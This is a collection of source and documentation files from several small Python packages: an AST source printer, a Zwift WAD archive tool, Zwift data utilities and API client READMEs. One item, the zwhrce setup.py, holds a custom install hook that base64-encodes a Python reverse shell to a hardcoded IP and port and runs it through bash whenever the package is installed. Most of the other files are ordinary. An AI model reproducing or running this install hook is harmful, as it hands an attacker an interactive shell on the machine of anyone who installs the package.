self.write('del ') self.write_comma_separated_nodes(node.targets) def visit_Assign(self, node): with self.writing_statement(): for target in node.targets: self.visit(target) self.write(' = ') self.visit(node.value) def visit_AugAssign(self, node): with self.writing_statement(): self.visit(node.target) self.write(' ') self.visit(node.op) self.write('= ') self.visit(node.value) if PY2: def visit_Print(self, node): with self.writing_statement(): self.write('print') if node.values: self.write(' ') self.write_comma_separated_nodes(node.values) if not node.nl: self.write(',') def visit_For(self, node): self.write('for ') self.visit(node.target) self.write(' in ') self.visit(node.iter) self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) if node.orelse: self.write_line('else:') with self.indented(): self.visit_statements(node.orelse) def visit_While(self, node): self.write('while ') self.visit(node.test) self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) if node.orelse: self.write_line('else:') with self.indented(): self.visit_statements(node.orelse) def visit_If(self, node): self.write('if ') self.visit(node.test) self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) if node.orelse: self.write_line('else:') with self.indented(): self.visit_statements(node.orelse) def visit_With(self, node): self.write('with ') if PY2: self.visit(node.context_expr) if node.optional_vars: self.write(' as ') self.visit(node.optional_vars) else: self.write_comma_separated_nodes(node.items) self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) def visit_Raise(self, node): with self.writing_statement(): self.write('raise') if PY2: if node.type is not None: self.write(' ') self.visit(node.type) if node.inst is not None: self.write(', ') self.visit(node.inst) if node.tback is not None: self.write(', ') self.visit(node.tback) else: if node.exc is not None: self.write(' ') self.visit(node.exc) if node.cause is not None: self.write(' from ') self.visit(node.cause) def visit_Try(self, node): self.write_line('try:') with self.indented(): self.visit_statements(node.body) for excepthandler in node.handlers: self.visit(excepthandler) if node.orelse: self.write_line('else:') with self.indented(): self.visit_statements(node.orelse) if node.finalbody: self.write_line('finally:') with self.indented(): self.visit_statements(node.finalbody) if PY2: def visit_TryExcept(self, node): self.write_line('try:') with self.indented(): self.visit_statements(node.body) for excepthandler in node.handlers: self.visit(excepthandler) if node.orelse: self.write_line('else:') with self.indented(): self.visit_statements(node.orelse) def visit_TryFinally(self, node): self.write_line('try:') with self.indented(): self.visit_statements(node.body) self.write_line('finally:') with self.indented(): self.visit_statements(node.finalbody) def visit_Assert(self, node): with self.writing_statement(): self.write('assert ') self.visit(node.test) if node.msg is not None: self.write(', ') self.visit(node.msg) def visit_Import(self, node): with self.writing_statement(): self.write('import ') self.write_comma_separated_nodes(node.names) def visit_ImportFrom(self, node): with self.writing_statement(): self.write('from ') if node.module is None: self.write('.') else: self.write_identifier(node.module) self.write(' import ') self.write_comma_separated_nodes(node.names) def visit_Global(self, node): with self.writing_statement(): self.write('global ') for name in self.writing_comma_separated(node.names): self.write_identifier(name) def visit_Nonlocal(self, node): with self.writing_statement(): self.write('nonlocal ') for name in self.writing_comma_separated(node.names): self.write_identifier(name) def visit_Expr(self, node): with self.writing_statement(): self.visit(node.value) def visit_Pass(self, node): self.write_line('pass') def visit_Break(self, node): self.write_line('break') def visit_Continue(self, node): self.write_line('continue') def visit_BoolOp(self, node): def write_value(value): if _requires_parentheses(node, value): self.write('(') self.visit(value) self.write(')') else: self.visit(value) for value in node.values[:-1]: write_value(value) self.visit(node.op) write_value(node.values[-1]) def visit_BinOp(self, node): if ( _requires_parentheses(node, node.left) or PY2 and isinstance(node.left, ast.Num) and node.left.n < 0 ): self.write('(') self.visit(node.left) self.write(')') else: self.visit(node.left) self.write(u' ') self.visit(node.op) self.write(u' ') if _requires_parentheses( ast.Mult() if isinstance(node.op, ast.Pow) else node, node.right ): self.write('(') self.visit(node.right) self.write(')') else: self.visit(node.right) def visit_UnaryOp(self, node): self.visit(node.op) if _requires_parentheses(node, node.operand): self.write('(') self.visit(node.operand) self.write(')') else: self.visit(node.operand) def visit_Lambda(self, node): self.write('lambda ') self.visit(node.args) self.write(': ') self.visit(node.body) def visit_IfExp(self, node): if _requires_parentheses(node, node.body): self.write('(') self.visit(node.body) self.write(')') else: self.visit(node.body) self.write(' if ') if _requires_parentheses(node, node.test): self.write('(') self.visit(node.test) self.write(')') else: self.visit(node.test) self.write(' else ') self.visit(node.orelse) def visit_Dict(self, node): self.write('{') items = list(zip(node.keys, node.values)) for key, value in self.writing_comma_separated(items): self.visit(key) self.write(': ') self.visit(value) self.write('}') def visit_Set(self, node): self.write('{') self.write_comma_separated_nodes(node.elts) self.write('}') def visit_ListComp(self, node): self.write('[') self.visit(node.elt) for generator in node.generators: self.visit(generator) self.write(']') def visit_SetComp(self, node): self.write('{') self.visit(node.elt) for generator in node.generators: self.visit(generator) self.write('}') def visit_DictComp(self, node): self.write('{') self.visit(node.key) self.write(': ') self.visit(node.value) for generator in node.generators: self.visit(generator) self.write('}') def visit_GeneratorExp(self, node): self.write('(') self.visit(node.elt) for generator in node.generators: self.visit(generator) self.write(')') def visit_Yield(self, node): self.write('yield') if node.value is not None: self.write(' ') self.visit(node.value) def visit_YieldFrom(self, node): self.write('yield from ') self.visit(node.value) def visit_Compare(self, node): self.visit(node.left) for op, comparator in zip(node.ops, node.comparators): self.write(' ') self.visit(op) self.write(' ') self.visit(comparator) def visit_Call(self, node): if _requires_parentheses(node, node.func): self.write('(') self.visit(node.func) self.write(')') else: self.visit(node.func) self.write('(') self.write_comma_separated_nodes(node.args) if node.keywords: if node.args: self.write(', ') self.write_comma_separated_nodes(node.keywords) if node.starargs is not None: if node.args or node.keywords: self.write(', ') self.write('*') self.visit(node.starargs) if node.kwargs: if node.args or node.keywords or node.starargs: self.write(', ') self.write('**') self.visit(node.kwargs) self.write(')') if PY2: def visit_Repr(self, node): self.write('`') self.visit(node.value) self.write('`') def visit_Num(self, node): self.write_repr(node.n) def visit_Str(self, node): self.write_repr(node.s) def visit_Bytes(self, node): self.write_repr(node.s) def visit_Ellipsis(self, node): self.write('...') def visit_Attribute(self, node): if ( _requires_parentheses(node, node.value) and not isinstance(node.value, ast.Attribute) ): self.write('(') self.visit(node.value) self.write(')') else: self.visit(node.value) self.write('.') self.write_identifier(node.attr) def visit_Subscript(self, node): if ( _requires_parentheses(node, node.value) and not isinstance(node.value, ast.Subscript) ): self.write('(') self.visit(node.value) self.write(')') else: self.visit(node.value) self.write('[') self.visit(node.slice) self.write(']') def visit_Starred(self, node): self.write('*') self.visit(node.value) def visit_Name(self, node): self.write_identifier(node.id) def visit_List(self, node): self.write('[') self.write_comma_separated_nodes(node.elts) self.write(']') def visit_Tuple(self, node): self.write_comma_separated_nodes(node.elts) def visit_Slice(self, node): if node.lower is not None: self.visit(node.lower) self.write(':') if node.upper is not None: if node.lower is None: self.write(':') self.visit(node.upper) if node.step is not None: if node.lower is None and node.upper is None: self.write('::') if node.lower is not None or node.upper is not None: self.write(':') self.visit(node.step) if node.lower is None and node.upper is None and node.step is None: self.write(':') def visit_And(self, node): self.write(' and ') def visit_Or(self, node): self.write(' or ') def visit_Add(self, node): self.write('+') def visit_Sub(self, node): self.write('-') def visit_Mult(self, node): self.write('*') def visit_Div(self, node): self.write('/') def visit_Mod(self, node): self.write('%') def visit_Pow(self, node): self.write('**') def visit_LShift(self, node): self.write('<<') def visit_RShift(self, node): self.write('>>') def visit_BitOr(self, node): self.write('|') def visit_BitXor(self, node): self.write('^') def visit_BitAnd(self, node): self.write('&') def visit_FloorDiv(self, node): self.write('//') def visit_Invert(self, node): self.write('~') def visit_Not(self, node): self.write('not ') def visit_UAdd(self, node): self.write('+') def visit_USub(self, node): self.write('-') def visit_Eq(self, node): self.write('==') def visit_NotEq(self, node): self.write('!=') def visit_Lt(self, node): self.write('<') def visit_LtE(self, node): self.write('<=') def visit_Gt(self, node): self.write('>') def visit_GtE(self, node): self.write('>=') def visit_Is(self, node): self.write('is') def visit_IsNot(self, node): self.write('is not') def visit_In(self, node): self.write('in') def visit_NotIn(self, node): self.write('not in') def visit_comprehension(self, node): self.write(' for ') self.visit(node.target) self.write(' in ') self.visit(node.iter) if node.ifs: self.write(' if ') for filter in node.ifs[:-1]: self.visit(filter) self.write(' if ') self.visit(node.ifs[-1]) def visit_ExceptHandler(self, node): self.write('except') if node.type is not None: self.write(' ') self.visit(node.type) if node.name is not None: self.write(' as ') if PY2: self.visit(node.name) else: self.write(node.name) self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) def visit_arguments(self, node): if node.args: if node.defaults: non_defaults = node.args[:-len(node.defaults)] defaults = node.args[-len(node.defaults):] else: non_defaults = node.args defaults = [] if non_defaults: self.write_comma_separated_nodes(non_defaults) if defaults: if non_defaults: self.write(', ') for argument, default in zip(defaults, node.defaults): self.visit(argument) self.write('=') self.visit(default) if node.vararg: if node.args: self.write(', ') self.write('*') self.write_identifier(node.vararg) if not PY2 and node.kwonlyargs: if not node.vararg: self.write('*, ') arguments = list(zip(node.kwonlyargs, node.kw_defaults)) if arguments: for argument, default in self.writing_comma_separated(arguments): self.visit(argument) if default is not None: self.write('=') self.visit(default) if node.kwarg: if node.args or node.vararg or (not PY2 and node.kwonlyargs): self.write(', ') self.write('**') self.write_identifier(node.kwarg) def visit_arg(self, node): self.write(node.arg) if node.annotation is not None: self.write(': ') self.visit(node.annotation) def visit_keyword(self, node): self.write_identifier(node.arg) self.write('=') self.visit(node.value) def visit_alias(self, node): self.write_identifier(node.name) if node.asname is not None: self.write(' as ') self.write_identifier(node.asname) def visit_withitem(self, node): self.visit(node.context_expr) if node.optional_vars is not None: self.write(' as ') self.visit(node.optional_vars) _precedence_tower = [ {ast.Lambda}, {ast.IfExp}, {ast.Or}, {ast.And}, {ast.Not}, { ast.In, ast.NotIn, ast.Is, ast.IsNot, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.NotEq, ast.Eq }, {ast.BitOr}, {ast.BitXor}, {ast.BitAnd}, {ast.LShift, ast.RShift}, {ast.Add, ast.Sub}, {ast.Mult, ast.Div, ast.FloorDiv, ast.Mod}, {ast.UAdd, ast.USub, ast.Invert}, {ast.Pow}, {ast.Subscript, ast.Call, ast.Attribute}, { ast.Tuple, ast.List, ast.Dict, ast.Set, ast.ListComp, ast.DictComp, ast.SetComp } ] _all_nodes = set(chain.from_iterable(_precedence_tower)) _node2lower_equal_upper_nodes = {} lower = set() for i, nodes in enumerate(_precedence_tower): lower = reduce(set.union, _precedence_tower[:i], set()) upper = reduce(set.union, _precedence_tower[i + 1:], set()) for node in nodes: _node2lower_equal_upper_nodes[node] = (lower, nodes, upper) def _requires_parentheses(parent, child): def _normalize(obj): if isinstance(obj, (ast.BoolOp, ast.BinOp, ast.UnaryOp)): return obj.op.__class__ return obj.__class__ parent, child = _normalize(parent), _normalize(child) lower, equal = _node2lower_equal_upper_nodes[parent][:2] return child in lower | equal def dump(node, annotate_fields=True, include_attributes=False): """ Like :func:`ast.dump` but with a more readable return value, making the output actually useful for debugging purposes. """ def _format(node, level=0): if isinstance(node, ast.AST): fields = [ (name, _format(value, level)) for name, value in ast.iter_fields(node) ] if include_attributes and node._attributes: fields.extend((name, _format(getattr(node, name), level)) for name in node._attributes) return '{}({})'.format( node.__class__.__name__, ', '.join( map('='.join, fields) if annotate_fields else (value for _, value in fields) ) ) elif isinstance(node, list): if node: indentation = ' ' * (level + 1) lines = ['['] lines.extend( indentation + _format(n, level + 1) + ',' for n in node ) lines.append(indentation + ']') return '\n'.join(lines) return '[]' return repr(node).decode('ascii') if PY2 else repr(node) if not isinstance(node, ast.AST): raise TypeError( 'expected AST, got {!r}'.format(node.__class__.__name__) ) return _format(node) def is_possible_target(node): """ Returns `True`, if the `node` could be a target for example in an assignment statement ignoring the expression contexts. """ return ( isinstance(node, (ast.Name, ast.Subscript, ast.Attribute)) or isinstance(node, (ast.Tuple, ast.List)) and all( is_possible_target(element) or not PY2 and isinstance(element, ast.Starred) and is_possible_target(element.value) for element in node.elts ) ) def set_target_contexts(node): """ Given a node that could be a target, sets the `.ctx` attribute to :class:`ast.Store` instances as appropriate. """ node.ctx = ast.Store() if isinstance(node, (ast.Tuple, ast.List)): for element in node.elts: set_target_contexts(element) elif not PY2 and isinstance(node, ast.Starred): set_target_contexts(node.value)
zweig
/zweig-0.1.0.tar.gz/zweig-0.1.0/zweig.py
zweig.py
Sometimes it is beneficial to hide a 'plain text' message within plain text. This module will do just that.
zwende
/zwende-20190716.1-py3-none-any.whl/zwende-20190716.1.dist-info/DESCRIPTION.rst
DESCRIPTION.rst
""" Tools for Zwift WAD files. """ from typing import Callable, Dict, Union import sys import traceback import warnings import os import io import struct import fnmatch from pathlib import Path import docopt from hurry.filesize import size as human_readable_size __version__ = '0.0.0' WAD_MAGIC = b'ZWF!' docopt_usage = __doc__ + """ usage: zwf list [options] <file> zwf extract [options] <file> <dir> [<glob>] options: -l List more information -H Show file sizes in human-readable form --verbose Print more info --traceback Print stack trace on errors """ class CommandError(RuntimeError): pass def read_wad(f: io.RawIOBase): f.seek(0) header = f.read(256) if header[:4] != WAD_MAGIC: raise CommandError( f'File does not appear to be a Zwift WAD file, Expected ' f'magic: {WAD_MAGIC}, actual: {header[:4]}') body_size = struct.unpack('<I', header[248:252])[0] wad_size = 256 + body_size actual_size = os.fstat(f.fileno()).st_size if actual_size < wad_size: raise CommandError(f'Truncated wad file: header implies ' f'{wad_size} bytes but file is {actual_size} bytes') if actual_size > wad_size: warnings.warn( f'wad file is larger than header implies. expected size: ' f'{actual_size} bytes, actual size: {actual_size} bytes') entry_pointers = read_entry_pointers(f) return {'file': f, 'entry_pointers': entry_pointers} def read_entry_pointers(f): # There's a 8k block containing 8-byte chunks. First 4 bytes are a pointer # to a wad file entry, second 4 bytes seem to be either 0 or 1. When 0 the # pointer is null and the entry seems not to be used. Null and active # entries are spread throughout. data = f.read(1024*8) entries = list(struct.iter_unpack('<I?xxx', data)) offset = min(ptr for ptr, in_use in entries if in_use) - 1024*8 - 256 assert offset != 0 return [ptr - offset for ptr, in_use in entries if in_use] def cstring(data): end = data.index(b'\x00') if end < 0: return data return data[:end] def read_wad_entry(wad, ptr, include_body: Union[bool, Callable[[Dict], bool]] = True): f = wad['file'] assert ptr in wad['entry_pointers'] f.seek(ptr) header = f.read(192) # Not sure what encoding (if any) is used path = cstring(header[4:100]).decode('ascii') size = struct.unpack('<I', header[104:108])[0] entry = { 'path': path, 'size': size } if callable(include_body) and include_body(entry) or include_body: entry['body'] = f.read(size) return entry def list_wad(wad, long_listing=False, human_readable_sizes=False): for ptr in wad['entry_pointers']: entry = read_wad_entry(wad, ptr, include_body=False) if long_listing: if human_readable_sizes: size = human_readable_size(entry['size']) else: size = entry['size'] print(f'{size} {entry["path"]}') else: print(entry["path"]) def extract_wad(wad, dest_dir: Path, entry_predicate: Callable[[Dict], bool], verbose=False): if not dest_dir.is_dir(): raise CommandError( f'Destination directory is not an existing directory') if next(dest_dir.iterdir(), None) is not None: raise CommandError(f'Destination dir is not empty') for ptr in wad['entry_pointers']: entry = read_wad_entry(wad, ptr, include_body=entry_predicate) if 'body' not in entry: continue entry_path = dest_dir / entry['path'] if dest_dir not in entry_path.parents: raise CommandError(f'Entry would extract out of destination ' f'directory: {entry["path"]!r}') if verbose: print(f' extracting: {entry["path"]} ... ', end='', flush=True) entry_path.parent.mkdir(parents=True, exist_ok=True) with open(entry_path, 'wb') as f: f.write(entry['body']) if verbose: print(f'done') def main(): args = docopt.docopt(docopt_usage) try: f = open(args['<file>'], 'rb') wad = read_wad(f) if args['list']: list_wad(wad, long_listing=args['-l'], human_readable_sizes=args['-H']) elif args['extract']: dest = Path(args['<dir>']) if args['--verbose']: print(f' Zwift WAD: {args["<file>"]}') print(f'Destination: {dest}') predicate = lambda x: True if args['<glob>']: glob = args['<glob>'] predicate = lambda entry: fnmatch.fnmatchcase(entry['path'], glob) extract_wad(wad, dest, entry_predicate=predicate, verbose=args['--verbose']) else: raise NotImplementedError() except CommandError as e: print(f'Fatal: {e}', file=sys.stderr) if args['--traceback']: print('\nTraceback follows:\n', file=sys.stderr) print(traceback.format_exc(), file=sys.stderr) if __name__ == '__main__': main()
zwf
/zwf-0.1.0.tar.gz/zwf-0.1.0/zwf.py
zwf.py
# zwf — Zwift WAD file tool A tool to list/extract files from Zwift WAD files — the asset archives (like a tar/zip file) that Zwift uses. ## Limitations **Compressed .wad files are not supported**. The .wad files which ship with Zwift under `assets/**/*.wad` are compressed. This tool can work with the decompressed versions, but does not implement decompression itself. You might find decompressed versions in a memory dump of a Zwift process, but that may be against the Zwift TOS.
zwf
/zwf-0.1.0.tar.gz/zwf-0.1.0/README.md
README.md
# -*- coding: utf-8 -*- from setuptools import setup modules = \ ['zwf'] install_requires = \ ['docopt>=0.6.2,<0.7.0', 'hurry.filesize>=0.9,<0.10'] entry_points = \ {'console_scripts': ['zwf = zwf:main']} setup_kwargs = { 'name': 'zwf', 'version': '0.1.0', 'description': 'Tools for Zwift WAD files', 'long_description': '# zwf — Zwift WAD file tool\n\nA tool to list/extract files from Zwift WAD files — the asset archives (like a tar/zip file) that Zwift uses.\n\n## Limitations\n\n**Compressed .wad files are not supported**. The .wad files which ship with Zwift under `assets/**/*.wad` are compressed. This tool can work with the decompressed versions, but does not implement decompression itself. \n\nYou might find decompressed versions in a memory dump of a Zwift process, but that may be against the Zwift TOS.\n', 'author': 'Hal Blackburn', 'author_email': '[email protected]', 'maintainer': None, 'maintainer_email': None, 'url': 'https://github.com/h4l/zwf', 'py_modules': modules, 'install_requires': install_requires, 'entry_points': entry_points, 'python_requires': '>=3.6,<4.0', } setup(**setup_kwargs)
zwf
/zwf-0.1.0.tar.gz/zwf-0.1.0/setup.py
setup.py
# coding=utf-8 from distutils.core import setup setup( name='zwfSalary', #对外发布我的模块的名称 version='1.0', #版本号 description='这是我第一个对外发布的模块,用于测试呀', #描述 author="zhengwf", #作者 author_email='[email protected]', py_modules=['zwfSalary.mysalary'] #要发布的模块,可以多个 )
zwfSalary
/zwfSalary-1.0.tar.gz/zwfSalary-1.0/setup.py
setup.py
======== zwholder ======== Zero-width character placeholder. Installation ============ :: pip install zwholder
zwholder
/zwholder-1.0.2.tar.gz/zwholder-1.0.2/README.rst
README.rst
# -*- coding: utf-8 -*- from setuptools import setup version = '1.0.2' setup( name='zwholder', version=version, keywords='Zero-width Placeholder', description='Zero-width character placeholder.', long_description=open('README.rst').read(), url='https://github.com/Brightcells/zwholder', author='Hackathon', author_email='[email protected]', packages=['zwholder'], py_modules=[], install_requires=[], classifiers=[ "License :: OSI Approved :: BSD License", "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.5", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Topic :: Software Development :: Libraries :: Python Modules", ], )
zwholder
/zwholder-1.0.2.tar.gz/zwholder-1.0.2/setup.py
setup.py
from setuptools import setup from setuptools.command.install import install import base64 import os class CustomInstall(install): def run(self): install.run(self) LHOST = '81.68.90.93' # change this LPORT = 4444 reverse_shell = 'python3 -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT) encoded = base64.b64encode(reverse_shell.encode(encoding="utf-8")) os.system('echo %s|base64 -d|bash' % encoded.decode()) setup(name='zwhrce', # 库的名字 version='0.0.1', # 版本 description="install this module then reverse shell", # 描述 author="dpm", # 作者 py_module=["deepmountains.hello"], # 这里通过手动指定的方式,指定需要打包的模块 cmdclass={'install': CustomInstall} # cmdclass:当执行python3 setup install的时候触发CustomInstall类的执行 )
zwhrce
/zwhrce-0.0.1.tar.gz/zwhrce-0.0.1/setup.py
setup.py
MIT License Copyright (c) 2021 damon anton permezel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
zwi
/zwi-0.3a1.tar.gz/zwi-0.3a1/LICENSE.md
LICENSE.md
[![logo](https://raw.githubusercontent.com/permezel/zwi/master/logo.png)](https://zwift.com/) # zwi Here are some small python programmes to facilitate viewing Zwift data. # requirements a Zwift user account python3.9 or later pip3 # usage The easist way to use this is to use `pip3 install` to install everything you need. Prior to that, you should probably have done something like: ZWI_ENV=/tmp/zwi_env python3 --version python3 -m venv ${ZWI_ENV} . ${ZWI_ENV}/bin/activate At this point, you will have a dedicated play area to install `zwi` and dependencies. pip3 install zwi This will install everything required, and place two command scripts in `${ZWI_ENV}/bin` which will be in your `${PATH}` while the environjment is activated. zwi --help ## version zwi version The `version` function returns the version number of the currently installewd `zwi` package. ## authentication Before you can do much of interest, you must store your authentication information in the local key store. For OsX, this is the system keychain. For linux, it is something similar. zwi auth --help zwi auth [email protected] --password=SuperSecret123 zwi auth You can have the `auth` programme prompt for both `name` and `password`. You need to enter the password twice, in that case, and it will not be stored unless it successfully aithenticates with the Zwift server. ## verification zwi check --help zwi check The `check` function will verify that the stored credentials function. At times on MacOS, the keychain decides it doesn't like you any more and requires you to enter your login password, twice, whenever `zwi` access the stored user name and password. Make sure you click on `always allow` unless you need to practice typing your password. ## initialise/reset database Once you are authenticated, the next step is to populate the local database cache with information from Zwift. `zwi` maintains state in `${HOME}/.zwi/`. An `sqlite3` database is used to cache the state of the user's `followers` and `followees` lists. In addition, the profiles of all Zwift users encountered (via the `followers`/`followees` lists) are saved in a separate database. zwi reset --help zwi reset The `reset` function deletes the `${HOME}/.zwi/zwi.db` database file if it exists, creates the `sqlite3` database, and populates the database with the `followers` and `followees` tables. It will not delete the profiles database, but it will ensure that there are profile entries for each user in the `followers` and `followees` lists. ## update followers/followees database zwi update --help zwi -v update The `update` function refreshes the `followers` and `followees` information. (Currently, this function is being fleshed out. It does not yet report any differences. Also, it fails to process deletions.) ## update profile database zwi pro-update --help zwi [-v] pro-update [--force] The `pro-update` function will update the local DB profile cache using information in the local Zwift user `followers` and `followees` DB cache. ## list profile database entries zwi pro-list --help zwi pro-list The profiles list can be displayed. ## bokeh zwibok serve [--port=#] The `profile` database can be viewed using the `zwibok` app. This will pop up a page on your browser allowing you to explore various attributes of the users in the `profile` data base. It should be more or less obvious. Eventually I might try to write some usage info, but as it is more or less a proof-of-concept, it might change again soon. Basically, it presents an X/Y plot of subsets of the data. You can select different data columns for X and Y. You can adjust range sliders to reduce the set of data points in the plot. Male-only or female-only or both can be selected. The cross-hairs of the cursor select users and display some more info pertaining to the user. ## gui zwi gui --help zwi gui The `gui` function pops up a window displaying data from the local database copy of the Zwift `followers` and `followees` tables. This was my second attempt at writing a gui to view some of the data. Currently, it only displays information from the `followers` and `followees` lists. Key Bingings (for OSX): CMD-1 Switch to `followers` table. CMD-2 Switch to `followees` table. CMD-a Toggle `auto` mode. CMD-n Move to next entry. CMD-p Move to previous entry. CMD-f Search (not yet implemented). CMD-q Quit If `auto` mode is enabled: CMD-n increase interval CMD-p decrease interval The slider at the bottom can be used to move rapidly thru the list. For Linux, it appears the key bindings map to the CTRL key. The menu items will indicate whatever it is. ## followees zwi wees --help zwi wees The `wees` function will check the cached followees list (them who's followed). Any subject who is being followed but who is not reciprocating is displayed. You will have to manually search for the user in the Zwift companion and decide what punishment to hand out. ## followers zwi wers --help zwi wers The `wers` function will check the cached followers list and display any lacking reciprocity. Certain users will follow you, but not respond to reciprocal follow requests, remaining forever in limbo. One can always try unfollowing/refollowing to see if the recalcitrant is interested in reciprocity. As above, as far as I know, one has to use the Zwift companion app to search by name. ## inspect other user's public information. Per the Zwift privacy policy, various data are publicly accessible. The `inspect` command facilitates examination of the publicly available data. zwi inspect --help zwi inspect --zid=ZwiftUser zwi -v inspect --zid=ZwiftUser --update ## removing authentication information The `clear` function will remove any cached user/password information from the keystore. # development I have been using `anaconda` on `OsX` for development. Supposedly, this will install things to facilitate development: conda env create -f environment.yml conda activate zwi flit install --symlink pip3 install zwift-client pip3 install PyQt5 # hints When manually deleting followees, using the Zwift companion app, and searching by name, I find it helps to type in the bits of the name which are more likely to be unique, so as to limit the lists presented. # user feedback ## issues If you have any problems with or questions about this image, please contact me through a [GitHub issue](https://github.com/permezel/zwi/issues).
zwi
/zwi-0.3a1.tar.gz/zwi-0.3a1/README.md
README.md
#!/usr/bin/env python # setup.py generated by flit for tools that don't yet use PEP 517 from distutils.core import setup packages = \ ['zwi', 'zwi.scripts'] package_data = \ {'': ['*']} package_dir = \ {'': 'src'} entry_points = \ {'console_scripts': ['zwi = zwi.scripts.zwi:main', 'zwibok = zwi.scripts.zwibok:main']} setup(name='zwi', version='0.3a1', description='Zwift data explorations.', author=None, author_email='Damon Permezel <[email protected]>', url=None, packages=packages, package_data=package_data, package_dir=package_dir, entry_points=entry_points, python_requires='>=3.9', )
zwi
/zwi-0.3a1.tar.gz/zwi-0.3a1/setup.py
setup.py
======= History ======= 0.2.0 (2018-03-02) ------------------ - Add optional ``start`` and ``limit`` keyword arguments to ``Activity.list()``. 0.1.0 (2018-01-14) ------------------ * Initial release.
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/HISTORY.rst
HISTORY.rst
======================= Zwift Mobile API client ======================= .. image:: https://img.shields.io/pypi/v/zwift-client.svg :target: https://pypi.python.org/pypi/zwift-client .. image:: https://img.shields.io/travis/jsmits/zwift-client.svg :target: https://travis-ci.org/jsmits/zwift-client .. image:: https://pyup.io/repos/github/jsmits/zwift-client/shield.svg :target: https://pyup.io/repos/github/jsmits/zwift-client/ :alt: Updates Zwift Mobile API client written in Python. Heavily inspired by zwift-mobile-api_. Installation ------------ :: $ pip install zwift-client Usage ----- Client ++++++ :: >>> from zwift import Client >>> username = 'your-username' >>> password = 'your-password' >>> player_id = your-player-id >>> client = Client(username, password) Profile +++++++ :: >>> profile = client.get_profile() >>> profile.profile # fetch your profile data >>> profile.followers >>> profile.followees >>> profile.get_activities() # metadata of your activities >>> profile.latest_activity # metadata of your latest activity Activity ++++++++ :: >>> activity = client.get_activity(player_id) >>> activities = activity.list() # your activities (default start is 0, default limit is 20) >>> activities = activity.list(start=20, limit=50) >>> latest_activity_id = activities[0]['id'] >>> activity.get_activity(latest_activity_id) # metadata of your latest activity >>> activity.get_data(latest_activity_id) # processed FIT file data World +++++ :: >>> world = client.get_world(1) # get world with id 1 >>> world.players # players currently present in this world >>> world.player_status(player_id) # current player status information like speed, cadence, power, etc. Credits --------- This package was created with cookiecutter_ and the `audreyr/cookiecutter-pypackage`_ project template. .. _cookiecutter: https://github.com/audreyr/cookiecutter .. _`audreyr/cookiecutter-pypackage`: https://github.com/audreyr/cookiecutter-pypackage .. _zwift-mobile-api: https://github.com/Ogadai/zwift-mobile-api
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/README.rst
README.rst
.. highlight:: shell ============ Contributing ============ Contributions are welcome, and they are greatly appreciated! Every little bit helps, and credit will always be given. You can contribute in many ways: Types of Contributions ---------------------- Report Bugs ~~~~~~~~~~~ Report bugs at https://github.com/jsmits/zwift-client/issues. If you are reporting a bug, please include: * Your operating system name and version. * Any details about your local setup that might be helpful in troubleshooting. * Detailed steps to reproduce the bug. Fix Bugs ~~~~~~~~ Look through the GitHub issues for bugs. Anything tagged with "bug" and "help wanted" is open to whoever wants to implement it. Implement Features ~~~~~~~~~~~~~~~~~~ Look through the GitHub issues for features. Anything tagged with "enhancement" and "help wanted" is open to whoever wants to implement it. Write Documentation ~~~~~~~~~~~~~~~~~~~ Zwift Mobile API client could always use more documentation, whether as part of the official Zwift Mobile API client docs, in docstrings, or even on the web in blog posts, articles, and such. Submit Feedback ~~~~~~~~~~~~~~~ The best way to send feedback is to file an issue at https://github.com/jsmits/zwift-client/issues. If you are proposing a feature: * Explain in detail how it would work. * Keep the scope as narrow as possible, to make it easier to implement. * Remember that this is a volunteer-driven project, and that contributions are welcome :) Get Started! ------------ Ready to contribute? Here's how to set up `zwift-client` for local development. 1. Fork the `zwift-client` repo on GitHub. 2. Clone your fork locally:: $ git clone [email protected]:your_name_here/zwift-client.git 3. Install your local copy into a virtualenv. Assuming you have virtualenvwrapper installed, this is how you set up your fork for local development:: $ mkvirtualenv zwift-client $ cd zwift-client/ $ python setup.py develop 4. Create a branch for local development:: $ git checkout -b name-of-your-bugfix-or-feature Now you can make your changes locally. 5. When you're done making changes, check that your changes pass flake8 and the tests, including testing other Python versions with tox:: $ flake8 zwift tests $ python setup.py test or py.test $ tox To get flake8 and tox, just pip install them into your virtualenv. 6. Commit your changes and push your branch to GitHub:: $ git add . $ git commit -m "Your detailed description of your changes." $ git push origin name-of-your-bugfix-or-feature 7. Submit a pull request through the GitHub website. Pull Request Guidelines ----------------------- Before you submit a pull request, check that it meets these guidelines: 1. The pull request should include tests. 2. If the pull request adds functionality, the docs should be updated. Put your new functionality into a function with a docstring, and add the feature to the list in README.rst. 3. The pull request should work for Python 